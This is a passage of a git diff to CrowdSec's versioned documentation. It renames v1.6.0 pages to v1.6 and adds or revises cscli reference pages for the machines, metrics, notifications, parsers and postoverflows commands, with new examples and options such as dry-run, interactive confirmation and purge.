rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_status.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_status.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines.md
similarity index 94%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines.md
index 6cfca6212..9f2e71c4b 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines.md
@@ -42,6 +42,7 @@ cscli machines [action]
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
* [cscli machines add](/cscli/cscli_machines_add.md) - add a single machine to the database
* [cscli machines delete](/cscli/cscli_machines_delete.md) - delete machine(s) by name
+* [cscli machines inspect](/cscli/cscli_machines_inspect.md) - inspect a machine by name
* [cscli machines list](/cscli/cscli_machines_list.md) - list all machines in the database
* [cscli machines prune](/cscli/cscli_machines_prune.md) - prune multiple machines from the database
* [cscli machines validate](/cscli/cscli_machines_validate.md) - validate a machine to access the local API
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_add.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_add.md
similarity index 92%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_add.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_add.md
index d57c5763f..46c9431ec 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_add.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_add.md
@@ -17,11 +17,10 @@ cscli machines add [flags]
### Examples
```
-
cscli machines add --auto
cscli machines add MyTestMachine --auto
cscli machines add MyTestMachine --password MyPassword
-
+cscli machines add -f- --auto > /tmp/mycreds.yaml
```
### Options
@@ -29,9 +28,9 @@ cscli machines add MyTestMachine --password MyPassword
```
-a, --auto automatically generate password (and username if not provided)
-f, --file string output file destination (defaults to /etc/crowdsec/local_api_credentials.yaml)
- --force will force add the machine if it already exist
+ --force will force add the machine if it already exists
-h, --help help for add
- -i, --interactive interfactive mode to enter the password
+ -i, --interactive interactive mode to enter the password
-p, --password string machine password to login to the API
-u, --url string URL of the local API
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_delete.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_delete.md
similarity index 87%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_delete.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_delete.md
index b8b6eda20..4f7060daf 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_delete.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_delete.md
@@ -19,7 +19,8 @@ cscli machines delete "machine1" "machine2"
### Options
```
- -h, --help help for delete
+ -h, --help help for delete
+ --ignore-missing don't print errors if one or more machines don't exist
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_inspect.md
new file mode 100644
index 000000000..d3e556f3a
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_inspect.md
@@ -0,0 +1,42 @@
+---
+id: cscli_machines_inspect
+title: cscli machines inspect
+---
+## cscli machines inspect
+
+inspect a machine by name
+
+```
+cscli machines inspect [machine_name] [flags]
+```
+
+### Examples
+
+```
+cscli machines inspect "machine1"
+```
+
+### Options
+
+```
+ -h, --help help for inspect
+ -H, --hub show hub state
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API]
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_list.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_list.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_prune.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_prune.md
similarity index 92%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_prune.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_prune.md
index c294a18fc..e5004b86a 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_prune.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_prune.md
@@ -25,7 +25,7 @@ cscli machines prune --not-validated-only --force
### Options
```
- -d, --duration string duration of time since validated machine last heartbeat (default "10m")
+ -d, --duration duration duration of time since validated machine last heartbeat (default 10m0s)
--force force prune without asking for confirmation
-h, --help help for prune
--not-validated-only only prune machines that are not validated
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_validate.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_validate.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_machines_validate.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_machines_validate.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_metrics.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics.md
similarity index 63%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_metrics.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics.md
index 2ad2900cf..ddfe87d61 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_metrics.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics.md
@@ -8,12 +8,25 @@ Display crowdsec prometheus metrics.
### Synopsis
-Fetch metrics from the prometheus server and display them in a human-friendly way
+Fetch metrics from a Local API server and display them
```
cscli metrics [flags]
```
+### Examples
+
+```
+# Show all Metrics, skip empty tables (same as "cscli metrics show")
+cscli metrics
+
+# Show only some metrics, connect to a different url
+cscli metrics --url http://lapi.local:6060/metrics show acquisition parsers
+
+# List available metric types
+cscli metrics list
+```
+
### Options
```
@@ -38,4 +51,6 @@ cscli metrics [flags]
### SEE ALSO
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
+* [cscli metrics list](/cscli/cscli_metrics_list.md) - List available types of metrics.
+* [cscli metrics show](/cscli/cscli_metrics_show.md) - Display all or part of the available metrics.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics_list.md
new file mode 100644
index 000000000..35aecb033
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics_list.md
@@ -0,0 +1,39 @@
+---
+id: cscli_metrics_list
+title: cscli metrics list
+---
+## cscli metrics list
+
+List available types of metrics.
+
+### Synopsis
+
+List available types of metrics.
+
+```
+cscli metrics list [flags]
+```
+
+### Options
+
+```
+ -h, --help help for list
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli metrics](/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics.
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics_show.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics_show.md
new file mode 100644
index 000000000..481d1f387
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_metrics_show.md
@@ -0,0 +1,60 @@
+---
+id: cscli_metrics_show
+title: cscli metrics show
+---
+## cscli metrics show
+
+Display all or part of the available metrics.
+
+### Synopsis
+
+Fetch metrics from a Local API server and display them, optionally filtering on specific types.
+
+```
+cscli metrics show [type]... [flags]
+```
+
+### Examples
+
+```
+# Show all Metrics, skip empty tables
+cscli metrics show
+
+# Use an alias: "engine", "lapi" or "appsec" to show a group of metrics
+cscli metrics show engine
+
+# Show some specific metrics, show empty tables, connect to a different url
+cscli metrics show acquisition parsers scenarios stash --url http://lapi.local:6060/metrics
+
+# To list available metric types, use "cscli metrics list"
+cscli metrics list; cscli metrics list -o json
+
+# Show metrics in json format
+cscli metrics show acquisition parsers scenarios stash -o json
+```
+
+### Options
+
+```
+ -h, --help help for show
+ --no-unit Show the real number instead of formatted with units
+ -u, --url string Metrics url (http://:/metrics)
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli metrics](/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics.
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications.md
similarity index 92%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications.md
index da8fe06aa..7c90f0a55 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications.md
@@ -32,8 +32,8 @@ To list/inspect/test notification template
### SEE ALSO
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
-* [cscli notifications inspect](/cscli/cscli_notifications_inspect.md) - Inspect active notifications plugin configuration
-* [cscli notifications list](/cscli/cscli_notifications_list.md) - list active notifications plugins
+* [cscli notifications inspect](/cscli/cscli_notifications_inspect.md) - Inspect notifications plugin
+* [cscli notifications list](/cscli/cscli_notifications_list.md) - list notifications plugins
* [cscli notifications reinject](/cscli/cscli_notifications_reinject.md) - reinject an alert into profiles to trigger notifications
* [cscli notifications test](/cscli/cscli_notifications_test.md) - send a generic test alert to notification plugin
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_inspect.md
similarity index 89%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_inspect.md
index 9efb5a89b..32461c641 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_inspect.md
@@ -4,11 +4,11 @@ title: cscli notifications inspect
---
## cscli notifications inspect
-Inspect active notifications plugin configuration
+Inspect notifications plugin
### Synopsis
-Inspect active notifications plugin and show configuration
+Inspect notifications plugin and show configuration
```
cscli notifications inspect [flags]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_list.md
similarity index 90%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_list.md
index 763a256f5..198fa3d20 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_list.md
@@ -4,11 +4,11 @@ title: cscli notifications list
---
## cscli notifications list
-list active notifications plugins
+list notifications plugins
### Synopsis
-list active notifications plugins
+list notifications plugins and their status (active or not)
```
cscli notifications list [flags]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_reinject.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_reinject.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_reinject.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_reinject.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_test.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_test.md
similarity index 92%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_test.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_test.md
index b08e27b24..b9c30e0cd 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_notifications_test.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_notifications_test.md
@@ -8,7 +8,7 @@ send a generic test alert to notification plugin
### Synopsis
-send a generic test alert to a notification plugin to test configuration even if is not active
+send a generic test alert to a notification plugin even if it is not active in profiles
```
cscli notifications test [plugin name] [flags]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_papi.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_papi.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_papi.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_papi.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_papi_status.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_papi_status.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_papi_status.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_papi_status.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_papi_sync.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_papi_sync.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_papi_sync.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_papi_sync.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_inspect.md
similarity index 69%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_inspect.md
index fc3fdab69..c18579a7b 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_inspect.md
@@ -17,7 +17,18 @@ cscli parsers inspect [item]... [flags]
### Examples
```
+# Display metadata, state and ancestor collections of parsers (installed or not).
cscli parsers inspect crowdsecurity/httpd-logs crowdsecurity/sshd-logs
+
+# If the parser is installed, its metrics are collected and shown as well (with an error if crowdsec is not running).
+# To avoid this, use --no-metrics.
+cscli parsers inspect crowdsecurity/httpd-logs --no-metrics
+
+# Display difference between a tainted item and the latest one.
+cscli parsers inspect crowdsecurity/httpd-logs --diff
+
+# Reverse the above diff
+cscli parsers inspect crowdsecurity/httpd-logs --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_install.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_install.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_install.md
index 5d8f6a4c9..93e10fae7 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_install.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_install.md
@@ -17,16 +17,35 @@ cscli parsers install [item]... [flags]
### Examples
```
+# Install some parsers.
cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw
+
+# Download only, to be installed later.
+cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i
+cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive
```
### Options
```
-d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
--force Force install: overwrite tainted and outdated files
-h, --help help for install
--ignore Ignore errors when installing multiple parsers
+ -i, --interactive Ask for confirmation before proceeding
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_list.md
similarity index 88%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_list.md
index 9cb7b3f96..2cbf7f903 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_list.md
@@ -17,11 +17,14 @@ cscli parsers list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) parsers.
cscli parsers list
+
+# List all available parsers (installed or not).
cscli parsers list -a
-cscli parsers list crowdsecurity/caddy-logs crowdsecurity/sshd-logs
-List only enabled parsers unless "-a" or names are specified.
+# List specific parsers (installed or not).
+cscli parsers list crowdsecurity/caddy-logs crowdsecurity/sshd-logs
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_remove.md
new file mode 100644
index 000000000..3c57e83ed
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_parsers_remove
+title: cscli parsers remove
+---
+## cscli parsers remove
+
+Remove given parser(s)
+
+### Synopsis
+
+Remove one or more parsers
+
+```
+cscli parsers remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some parsers.
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --purge
+
+# Remove tainted items.
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i
+cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive
+```
+
+### Options
+
+```
+ --all Remove all the parsers
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_upgrade.md
new file mode 100644
index 000000000..2ea61a8ab
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_parsers_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_parsers_upgrade
+title: cscli parsers upgrade
+---
+## cscli parsers upgrade
+
+Upgrade given parser(s)
+
+### Synopsis
+
+Fetch and upgrade one or more parsers from the hub
+
+```
+cscli parsers upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some parsers. If they are not currently installed, they are downloaded but not installed.
+cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i
+cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the parsers
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_inspect.md
similarity index 75%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_inspect.md
index 561b25720..1967a8fcc 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_inspect.md
@@ -17,7 +17,14 @@ cscli postoverflows inspect [item]... [flags]
### Examples
```
-cscli postoverflows inspect crowdsecurity/cdn-whitelist crowdsecurity/rdns
+# Display metadata, state and ancestor collections of postoverflows (installed or not).
+cscli postoverflows inspect crowdsecurity/cdn-whitelist
+
+# Display difference between a tainted item and the latest one.
+cscli postoverflows inspect crowdsecurity/cdn-whitelist --diff
+
+# Reverse the above diff
+cscli postoverflows inspect crowdsecurity/cdn-whitelist --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_install.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_install.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_install.md
index fb1e27ea0..2058dd5af 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_install.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_install.md
@@ -17,16 +17,35 @@ cscli postoverflows install [item]... [flags]
### Examples
```
+# Install some postoverflows.
cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run -o raw
+
+# Download only, to be installed later.
+cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns -i
+cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --interactive
```
### Options
```
-d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
--force Force install: overwrite tainted and outdated files
-h, --help help for install
--ignore Ignore errors when installing multiple postoverflows
+ -i, --interactive Ask for confirmation before proceeding
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_list.md
similarity index 82%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_list.md
index 0fcc27372..ae6b10ba6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_list.md
@@ -17,11 +17,14 @@ cscli postoverflows list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) postoverflows.
cscli postoverflows list
+
+# List all available postoverflows (installed or not).
cscli postoverflows list -a
-cscli postoverflows list crowdsecurity/cdn-whitelist crowdsecurity/rdns
-List only enabled postoverflows unless "-a" or names are specified.
+# List specific postoverflows (installed or not).
+cscli postoverflows list crowdsecurity/cdn-whitelists crowdsecurity/rdns
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_remove.md
new file mode 100644
index 000000000..bf21a7db8
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_postoverflows_remove
+title: cscli postoverflows remove
+---
+## cscli postoverflows remove
+
+Remove given postoverflow(s)
+
+### Synopsis
+
+Remove one or more postoverflows
+
+```
+cscli postoverflows remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some postoverflows.
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --purge
+
+# Remove tainted items.
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns -i
+cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --interactive
+```
+
+### Options
+
+```
+ --all Remove all the postoverflows
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
